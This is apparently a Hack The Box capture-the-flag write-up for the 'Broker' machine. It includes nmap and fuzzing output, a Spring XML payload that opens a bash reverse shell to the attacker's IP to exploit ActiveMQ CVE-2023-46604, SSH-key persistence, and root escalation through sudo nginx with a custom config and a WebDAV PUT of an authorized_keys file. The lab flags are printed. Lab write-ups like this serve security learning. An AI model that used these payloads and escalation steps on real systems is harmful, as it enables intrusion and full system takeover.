# Broker by k0rriban

## htbexplorer report

| Name | IP Address | Operating System | Points | Rating | User Owns | Root Owns | Retired | Release Date | Retired Date | Free Lab | ID |
|---|---|---|---|---|---|---|---|---|---|---|---|
| Broker | 10.10.11.243 | Linux | 20 | 4.5 | 4788 | 3821 | Yes | 2023-11-09 | Is Active | Yes | 578 |

## Summary

1. Scan ports -> 22,80,1337,1883,5672,8161,45173,61613,61614,61616
2. Enumerate port 61616 -> ActiveMQ 5.15.15 (CVE-2023-46604)
3. Exploit CVE-2023-46604 -> Pseudo-Shell as activemq@broker
4. Add id_rsa.pub to ~/.ssh/authorized_keys -> tty as activemq@broker (user flag)
5. sudo -l on activemq -> (ALL : ALL) NOPASSWD: /usr/sbin/nginx
6. Create custom nginx config with root user -> Path Traversal as root
7. PUT id_rsa.pub to /root/.ssh/authorized_keys -> tty as root@broker (root flag)

## Enumeration

### OS

| TTL | OS |
|---|---|
| +- 64 | Linux |
| +- 128 | Windows |

As we can see in the code snippet below, the operating system is Linux.

```
┌──(k0rrib4n㉿k0rrib4n)-[~/HTB/Machines/Completed/Broker]
└─$ ping 10.10.11.243
PING 10.10.11.243 (10.10.11.243) 56(84) bytes of data.
64 bytes from 10.10.11.243: icmp_seq=1 ttl=63 time=40.9 ms
64 bytes from 10.10.11.243: icmp_seq=2 ttl=63 time=35.1 ms
```

### Nmap port scan

First, we will scan the host for open ports.

```
┌──(k0rrib4n㉿k0rrib4n)-[~/HTB/Machines/Completed/Broker]
└─$ sudo nmap -p- -sS --min-rate 5000 10.10.11.243 -v -Pn -n -oG Enum/allPorts
```

With the utility `extractPorts` we list and copy the open ports:

```
┌──(k0rrib4n㉿k0rrib4n)-[~/HTB/Machines/Completed/Broker]
└─$ extractPorts Enum/allPorts.out

[*] Extracting information...
```

```
        [*] IP Address: 10.10.11.243
        [*] Open ports: 22,80,1337,1883,5672,8161,45173,61613,61614,61616

[*] Ports copied to clipboard
```

Run a detailed scan on the open ports:

```
┌──(k0rrib4n㉿k0rrib4n)-[~/HTB/Machines/Completed/Broker]
└─$ nmap -p22,80,1337,1883,5672,8161,45173,61613,61614,61616 -sVC 10.10.11.243 -n -oN
Enum/targeted
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-03 14:24 CET
Nmap scan report for 10.10.11.243
Host is up (0.036s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
1883/tcp  open  mqtt
| mqtt-subscribe:
|   Topics and their most recent payloads:
|     ActiveMQ/Advisory/MasterBroker:
|_    ActiveMQ/Advisory/Consumer/Topic/#:
5672/tcp  open  amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck,
RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
8161/tcp  open  http       Jetty 9.4.39.v20210325
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: Jetty(9.4.39.v20210325)
45173/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
| fingerprint-strings:
|   HELP4STOMP:
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|
org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.
java:258)
|
org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter
.java:85)
|
org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       Jetty 9.4.39.v20210325
|_http-title: Site doesn't have a title.
|_http-server-header: Jetty(9.4.39.v20210325)
| http-methods:
|_  Potentially risky methods: TRACE
61616/tcp open  apachemq   ActiveMQ OpenWire transport
| fingerprint-strings:
|   NULL:
|     ActiveMQ
|     TcpNoDelayEnabled
|     SizePrefixDisabled
|     CacheSize
|     ProviderName
|     ActiveMQ
|     StackTraceEnabled
|     PlatformDetails
|     Java
|     CacheEnabled
|     TightEncodingEnabled
|     MaxFrameSize
|     MaxInactivityDuration
|     MaxInactivityDurationInitalDelay
|     ProviderVersion
|_    5.15.15
3 services unrecognized despite returning data. If you know the service/version, please
submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5672-TCP:V=7.94%I=7%D=2/3%Time=65BE3E9B%P=x86_64-pc-linux-gnu%r(Get
SF:Request,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\x19\x02\0\0\0\0S\x10\x
SF:c0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\
SF:0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20clie
SF:nt\x20using\x20unsupported\x20AMQP\x20attempted")%r(HTTPOptions,89,"AMQ
SF:P\x03\x01\0\0AMQP\0\x01\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\
SF:0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02
SF:\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x20using\x20
SF:unsupported\x20AMQP\x20attempted")%r(RTSPRequest,89,"AMQP\x03\x01\0\0AM
SF:QP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\
SF:x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:de
SF:code-error\xa17Connection\x20from\x20client\x20using\x20unsupported\x20
SF:AMQP\x20attempted")%r(RPCCheck,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0
SF:\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02
SF:\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Con
SF:nection\x20from\x20client\x20using\x20unsupported\x20AMQP\x20attempted"
SF:)%r(DNSVersionBindReqTCP,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x
SF:02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0
SF:\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connectio
SF:n\x20from\x20client\x20using\x20unsupported\x20AMQP\x20attempted")%r(DN
SF:SStatusRequestTCP,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\
SF:0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18
SF:\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20fr
SF:om\x20client\x20using\x20unsupported\x20AMQP\x20attempted")%r(SSLSessio
SF:nReq,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\
SF:x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\
SF:x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\
SF:x20using\x20unsupported\x20AMQP\x20attempted")%r(TerminalServerCookie,8
```

```
SF:9,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x0
SF:4\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc
SF:0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x20usi
SF:ng\x20unsupported\x20AMQP\x20attempted");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port61613-TCP:V=7.94%I=7%D=2/3%Time=65BE3E96%P=x86_64-pc-linux-gnu%r(HE
SF:LP4STOMP,27F,"ERROR\ncontent-type:text/plain\nmessage:Unknown\x20STOMP\
SF:x20action:\x20HELP\n\norg\.apache\.activemq\.transport\.stomp\.Protocol
SF:Exception:\x20Unknown\x20STOMP\x20action:\x20HELP\n\tat\x20org\.apache\
SF:.activemq\.transport\.stomp\.ProtocolConverter\.onStompCommand\(Protoco
SF:lConverter\.java:258\)\n\tat\x20org\.apache\.activemq\.transport\.stomp
SF:\.StompTransportFilter\.onCommand\(StompTransportFilter\.java:85\)\n\ta
SF:t\x20org\.apache\.activemq\.transport\.TransportSupport\.doConsume\(Tra
SF:nsportSupport\.java:83\)\n\tat\x20org\.apache\.activemq\.transport\.tcp
SF:\.TcpTransport\.doRun\(TcpTransport\.java:233\)\n\tat\x20org\.apache\.a
SF:ctivemq\.transport\.tcp\.TcpTransport\.run\(TcpTransport\.java:215\)\n\
SF:tat\x20java\.lang\.Thread\.run\(Thread\.java:750\)\n\0\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port61616-TCP:V=7.94%I=7%D=2/3%Time=65BE3E96%P=x86_64-pc-linux-gnu%r(NU
SF:LL,140,"\0\0\x01<\x01ActiveMQ\0\0\0\x0c\x01\0\0\x01\*\0\0\0\x0c\0\x11Tc
SF:pNoDelayEnabled\x01\x01\0\x12SizePrefixDisabled\x01\0\0\tCacheSize\x05\
SF:0\0\x04\0\0\x0cProviderName\t\0\x08ActiveMQ\0\x11StackTraceEnabled\x01\
SF:x01\0\x0fPlatformDetails\t\0\x04Java\0\x0cCacheEnabled\x01\x01\0\x14Tig
SF:htEncodingEnabled\x01\x01\0\x0cMaxFrameSize\x06\0\0\0\0\x06@\0\0\0\x15M
SF:axInactivityDuration\x06\0\0\0\0\0\0u0\0\x20MaxInactivityDurationInital
SF:Delay\x06\0\0\0\0\0\0'\x10\0\x0fProviderVersion\t\0\x075\.15\.15");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.28 seconds
```

**Final nmap report**

| Port | Service | Version | Extra |
|---|---|---|---|
| 22/tcp (ssh) | OpenSSH | 8.9p1 Ubuntu 3ubuntu0.4 | (Ubuntu Linux; protocol 2.0) |
| 80/tcp (http) | nginx | 1.18.0 | basic realm=ActiveMQRealm |
| 1883/tcp (mqtt) | | | ActiveMQ/Advisory/ |
| 5672/tcp (amqp) | | | mqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65 |
| 8161/tcp (http) | Jetty | 9.4.39.v20210325 | basic realm=ActiveMQRealm |
| 45173/tcp (tcpwrapped) | | | |
| 61613/tcp (stomp) | Apache ActiveMQ | | HELP4STOMP: ERROR content-type:text/plain message:Unknown STOMP action: HELP |
| 61614/tcp (http) | Jetty | 9.4.39.v20210325 | Site doesn't have a title |
| 61616/tcp (apachemq) | ActiveMQ OpenWire transport | 5.15.15 | ActiveMQ |

## Port 80 enumeration

#### Technology scan

```
┌──(k0rrib4n㉿k0rrib4n)-[~/HTB/Machines/Completed/Broker]
└─$ whatweb 10.10.11.243
http://10.10.11.243 [401 Unauthorized] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux]
[nginx/1.18.0 (Ubuntu)], IP[10.10.11.243], PoweredBy[Jetty://], Title[Error 401
Unauthorized], WWW-Authenticate[ActiveMQRealm][basic], nginx[1.18.0]
```

Toguether with `wappalyzer` extension:

| Tecnology | Version | Detail |
|---|---|---|
| Nginx | 1.18.0 | - |
| X-Powered-By | - | Jetty |

#### Web content fuzzing

Fuzzing and inspecting this service and the rest of the http ports doesn't give any valuable information.

```
┌──(k0rrib4n㉿k0rrib4n)-[~/HTB/Machines/Completed/Broker]
└─$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
-t 200 --hc 404,401 --hh 7561 "http://10.10.11.243/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.243/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000037082:   502        7 L      12 W       166 Ch      "dizzy"

Total time: 216.3425
Processed Requests: 220560
Filtered Requests: 220559
Requests/sec.: 1019.494
```

### Port 61616 Enumeration

This port runs the ActiveMQ OpenWire transport service, a popular open source messaging service that is built on top of Java. It works as a message-oriented middleware (MoM). In this case, the version of the software is 5.15.15 and, after browsing for known vulnerabilities, we found the CVE-2023-46604, that allows RCE as the user running the service.

#### RCE Exploitation

In order to exploit the CVE-2023-46604 we are going to use this Exploit from GitHub, written in python, whose usage is:

```
python exploit.py -i <target-ip> -p <target-port> -u <url-to-poc.xml>
```

As a prerrequisite, we need to create a custom `poc.xml` and host a fileserver for the target machine to access and download it. To do so, we modify the repo's poc.xml with our own IP Address:

```
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="
    http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>bash</value>
            <value>-c</value>
            <value>bash -i &gt;&amp; /dev/tcp/10.10.14.184/3333 0&gt;&amp;1</value>
        </list>
        </constructor-arg>
    </bean>
</beans>
```

Once the file is ready, we run a Simple HTTP Server in python with:

```
┌──(k0rrib4n㉿k0rrib4n)-[~/…/Completed/Broker/Exploits/CVE-2023-46604]
└─$ python -m http.server 8080 >/dev/null &
```

Now, we can use the exploit, providing the target IP and the created file server:

```
┌──(k0rrib4n㉿k0rrib4n)-[~/…/Completed/Broker/Exploits/CVE-2023-46604]
└─$ python exploit.py -i 10.10.11.243 -u http://10.10.14.184:8080/poc.xml
     _        _   _           __  __  ___        ____   ____ _____
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: 10.10.11.243:61616
[*] XML URL: http://10.10.14.184:8080/poc.xml

[*] Sending packet:
000000731f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e74657
8742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010020
687474703a2f2f31302e31302e31342e3138343a383038302f706f632e786d6c
```

But before running it, we need to set up a nc listener on the configured port (3333), with the command `nc -nlvp 3333, on another terminal. After running it, we run `exploit.py` and should see this result:

```
┌──(k0rrib4n㉿k0rrib4n)-[~]
└─$ nc -nlvp 3333
listening on [any] 3333 ...
connect to [10.10.14.184] from (UNKNOWN) [10.10.11.243] 35308
bash: cannot set terminal process group (879): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$ whoami
```

```
whoami
activemq
```

Up to this point, we have a pseudo-shell as `activemq`, the main user of the system, as we can check with the command:

```
activemq@broker:/opt/apache-activemq-5.15.15/bin$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
activemq:x:1000:1000:,,,:/home/activemq:/bin/bash
```

So, we can read the file `/home/activemq/user.txt` and obtain the user flag:

```
activemq@broker:/opt/apache-activemq-5.15.15/bin$ cat /home/activemq/user.txt
cat /home/activemq/user.txt
9dee6ae998e15c246c67681a79c1ee15
```

#### Upgrading pseudo-shell to tty

In order to obtain a proper tty in a system with an open ssh service, we just need to insert our public ssh key, contained at `id_rsa.pub`, in the `/home/activemq/.ssh/authorized_keys`, with the command:

```
activemq@broker:/opt/apache-activemq-5.15.15/bin$ echo "ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQDbxOtRNnUY+aD8xx1MM2sKCn3kigeXPnepXhSY3RDw+vkk/rlmAM9IK0Z
csaHzZDbKH+qsiy57gg3ne3UuoFRZftDUZqtjBa2eWU5l0R4M/FMnz5bm+t54wqFOBVDK95TkDWNQS80pO0UJAC
TbyHcCQNQsp9WLfU4FcH3H8DfwRmZpyLiNVgeTV8c6qZ5PJJo9DBNTr6B4VuWatiW43PvB/OxAiMFUD6fXW0I6u
5ZfS2TvUMZli1vHNeQ3xOxzATLQiWPGetEstH8a7ifI2OAeRDpK9yl41mRgopnzI1BycvHRS3+WwgsXE4VnyzUY
5jEtp64ByJkl91MypP25R6kxzjm7JSIg4PGlBa1HfnsQur5dBQVHdNfXVIHGvRXQm04drhzqUFSVCHqvvP8aSSi
qFxMRrtKdHrhCou9czcOQUp+YBYyqtlf3FeyQdO+QXHVQ/7mBBz5BGCII30mm+3BJdyFun1lg9odmJW0WwAqhFD
BxItq5fmDnDJdDb8Z1xk0= k0rrib4n@k0rrib4n" > /home/activemq/.ssh/authorized_keys
```

If there is no error, we can just ssh into the `activemq` user without any password:

```
┌──(k0rrib4n㉿k0rrib4n)-[~/…/Completed/Broker/Exploits/CVE-2023-46604]
└─$ ssh activemq@10.10.11.243
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Feb  3 03:08:49 PM UTC 2024

  System load:           0.0
  Usage of /:            84.7% of 4.63GB
  Memory usage:          23%
  Swap usage:            0%
  Processes:             192
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.243
  IPv6 address for eth0: dead:beef::250:56ff:feb9:6bb6
```

```
Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


activemq@broker:~$
```

## Privilege escalation

The first things we must try when escalating privileges are:

```
activemq@broker:~$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied
activemq@broker:~$ sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
```

As we can see, `activemq` is allowed to run `/usr/sbin/nginx` as superuser, without providing its password:

```
activemq@broker:~$ sudo /usr/sbin/bash
[sudo] password for activemq:
sudo: a password is required
activemq@broker:~$ sudo /usr/sbin/nginx
nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Unknown error)
```

Now, with this information, we can abuse the `-c` option from the nginx executable, that allows the user to start an nginx server using a custom configuration file. The default configuration file is located at `/etc/nginx/nginx.conf`:

```
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
        # multi_accept on;
}

http {

        ##
        # Basic Settings
        ##

        sendfile on;
        tcp_nopush on;
        types_hash_max_size 2048;
        # server_tokens off;

        # server_names_hash_bucket_size 64;
        # server_name_in_redirect off;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        ##
        # SSL Settings
        ##

        ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
        ssl_prefer_server_ciphers on;

        ##
        # Logging Settings
        ##

        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;

        ##
        # Gzip Settings
        ##

        gzip on;

        # gzip_vary on;
        # gzip_proxied any;
        # gzip_comp_level 6;
        # gzip_buffers 16 8k;
        # gzip_http_version 1.1;
        # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

        ##
        # Virtual Host Configs
        ##

        include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/*;
}


#mail {
#       # See sample authentication script at:
#       # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#
```

```
#       # auth_http localhost/auth.php;
#       # pop3_capabilities "TOP" "USER";
#       # imap_capabilities "IMAP4rev1" "UIDPLUS";
#
#       server {
#               listen     localhost:110;
#               protocol   pop3;
#               proxy      on;
#       }
#
#       server {
#               listen     localhost:143;
#               protocol   imap;
#               proxy      on;
#       }
#}
```

In order to be able to start custom servers, we need to change the `user` and `Virtual Host Configs` to something like this:

```
user root;
worker_processes auto;
pid /run/nginx.pid;

# same as original...

http {
    # same as original...

    ##
    # Virtual Host Configs
    ##

    include /etc/nginx/conf.d/*.conf;
    # include /etc/nginx/sites-enabled/*;
    server {
        listen     7777;
        location / {
            root /;
            dav_methods PUT;
        }
    }
}
# same as original...
```

Be aware that this file is owned by the `root` user, and `activemq` is not allowed to modify it. However, we can copy it to the `/tmp/nginx.conf` file, aquiring the ownership of this file, and editing it:

```
activemq@broker:~$ cp /etc/nginx/nginx.conf /tmp/
activemq@broker:~$ vi /tmp/nginx.conf
```

Finally, we can start the server with:

```
activemq@broker:~$ sudo nginx -c /tmp/nginx.conf
```

At this point, any external client can connect to the url `http://10.10.11.243:7777/root/root.txt` and obtain the root flag:

```
┌──(k0rrib4n㉿k0rrib4n)-[~]
└─$ curl http://10.10.11.243:7777/root/root.txt
666a8794c70ed3fbbe0790c4ad542f4f
```

### Getting a tty as root

Thanks to the `dav_methods PUT` directive we included in the nginx configuration and the fact that the server is hosted by the root user, we can simply send an `HTTP PUT` request to `/root/.ssh/authorized_keys` with our public ssh key as the body:

```
┌──(k0rrib4n㉿k0rrib4n)-[~]
└─$ curl -X PUT  http://10.10.11.243:7777/root/.ssh/authorized_keys -d "$(cat
~/.ssh/id_rsa.pub)"
```

If there are no errors, the file was updated and we can simply ssh as the `root` user on the Broker machine:

```
┌──(k0rrib4n㉿k0rrib4n)-[~]
└─$ ssh root@10.10.11.243
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Feb  3 03:31:52 PM UTC 2024

  System load:           0.0
  Usage of /:            84.7% of 4.63GB
  Memory usage:          23%
  Swap usage:            0%
  Processes:             201
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.243
  IPv6 address for eth0: dead:beef::250:56ff:feb9:6bb6


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your
Internet connection or proxy settings


Last login: Sat Feb  3 15:12:26 2024 from 10.10.16.17
```

```
root@broker:~# whoami
root
root@broker:~#
```

We obtained a `root shell` on Broker.

## CVE

### CVE-2023-46604

The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath. Users are recommended to upgrade both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.

## Machine flags

| Type | Flag | Blood | Date |
|---|---|---|---|
| User | 9dee6ae998e15c246c67681a79c1ee15 | No | 02-02-2024 |
| Root | 666a8794c70ed3fbbe0790c4ad542f4f | No | 02-02-2024 |

## References

- CVE-2023-46604
- Exploit
- Broker HTB